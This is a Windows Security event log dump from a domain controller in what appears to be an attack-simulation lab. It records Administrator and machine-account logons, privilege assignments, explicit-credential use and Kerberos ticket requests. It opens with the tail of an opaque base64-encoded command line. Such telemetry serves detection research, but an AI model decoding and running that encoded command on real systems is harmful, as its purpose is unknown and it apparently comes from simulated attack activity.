AQQBCAEYAQQBDAEEAQQBmAFEAQQBnAEEARQBVAEEAYgBBAEIAegBBAEcAVQBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEQARQBBAEkAQQBCADkAQQBDAEEAQQBmAFEAQQA9AA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251338 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x130C58 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251337 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x130C58 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {6D98D746-6FBE-9454-9779-F3EB3AD55CE7} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251336 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {6D98D746-6FBE-9454-9779-F3EB3AD55CE7} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251335 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {6D98D746-6FBE-9454-9779-F3EB3AD55CE7} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251334 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251333 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x130C38 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251332 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x130C38 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251331 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x130C38 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {6D98D746-6FBE-9454-9779-F3EB3AD55CE7} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251330 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {6D98D746-6FBE-9454-9779-F3EB3AD55CE7} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251329 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {6D98D746-6FBE-9454-9779-F3EB3AD55CE7} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251328 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251327 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x130622 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251326 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12F337 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251325 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x130B04 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251324 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x130B04 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64520 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251323 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x130B04 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251322 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x130A8C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251321 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x130A8C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64519 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251320 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x130A8C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251319 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x130A26 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251318 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x130A26 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64518 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251317 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x130A26 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251316 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1309C5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251315 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1309C5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64517 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251314 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1309C5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251313 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x130622 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251312 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x130622 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {6D98D746-6FBE-9454-9779-F3EB3AD55CE7} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251311 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {6D98D746-6FBE-9454-9779-F3EB3AD55CE7} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251310 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: 